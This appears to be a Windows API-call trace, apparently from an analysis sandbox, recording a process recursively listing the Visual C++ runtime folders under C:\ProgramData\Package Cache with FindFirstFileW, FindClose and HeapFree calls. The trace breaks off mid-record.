[0265.373] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0265.376] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0265.377] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0265.377] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.378] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0265.379] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0265.379] GetProcessHeap () returned 0x550000 [0265.379] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2602098 | out: hHeap=0x550000) returned 1 [0265.379] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.379] GetProcessHeap () returned 0x550000 [0265.379] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.380] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0265.381] GetProcessHeap () returned 0x550000 [0265.381] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0265.381] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0265.381] GetProcessHeap () returned 0x550000 [0265.381] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0265.381] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0265.523] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0265.523] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.605] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0265.605] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0265.605] GetProcessHeap () returned 0x550000 [0265.605] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2602098 | out: hHeap=0x550000) returned 1 [0265.605] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.606] GetProcessHeap () returned 0x550000 [0265.606] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.607] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0265.607] GetProcessHeap () returned 0x550000 [0265.607] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0265.607] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0265.608] GetProcessHeap () returned 0x550000 [0265.608] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0265.608] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0265.654] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0265.655] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.655] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.656] GetProcessHeap () returned 0x550000 [0265.656] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.656] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0265.656] GetProcessHeap () returned 0x550000 [0265.656] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0265.656] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0265.656] GetProcessHeap () returned 0x550000 [0265.656] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0265.656] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xecd314a0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0265.657] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0265.657] GetProcessHeap () returned 0x550000 [0265.657] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0265.657] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0265.658] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0265.659] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.659] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.660] GetProcessHeap () returned 0x550000 [0265.660] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.660] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0265.660] GetProcessHeap () returned 0x550000 [0265.660] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0265.660] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0265.660] GetProcessHeap () returned 0x550000 [0265.660] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0265.660] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a127460, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0265.661] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0265.662] GetProcessHeap () returned 0x550000 [0265.662] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0265.662] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0265.664] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0265.665] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.665] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.665] GetProcessHeap () returned 0x550000 [0265.665] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.665] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0265.666] GetProcessHeap () returned 0x550000 [0265.666] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0265.666] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0265.666] GetProcessHeap () returned 0x550000 [0265.666] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0265.666] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0265.667] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0265.667] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.669] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.669] GetProcessHeap () returned 0x550000 [0265.669] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.669] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0265.669] GetProcessHeap () returned 0x550000 [0265.669] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0265.669] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0265.669] GetProcessHeap () returned 0x550000 [0265.669] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0265.670] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0265.676] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0265.679] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.679] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.679] GetProcessHeap () returned 0x550000 [0265.679] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.679] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0265.680] GetProcessHeap () returned 0x550000 [0265.680] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0265.680] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0265.680] GetProcessHeap () returned 0x550000 [0265.680] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0265.680] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0265.680] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0265.681] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a257f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a257f60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.681] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.681] GetProcessHeap () returned 0x550000 [0265.681] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.681] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0265.681] GetProcessHeap () returned 0x550000 [0265.681] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0265.681] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0265.681] GetProcessHeap () returned 0x550000 [0265.681] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0265.681] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0265.682] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", lpFindFileData=0x2ceeb10 | out: 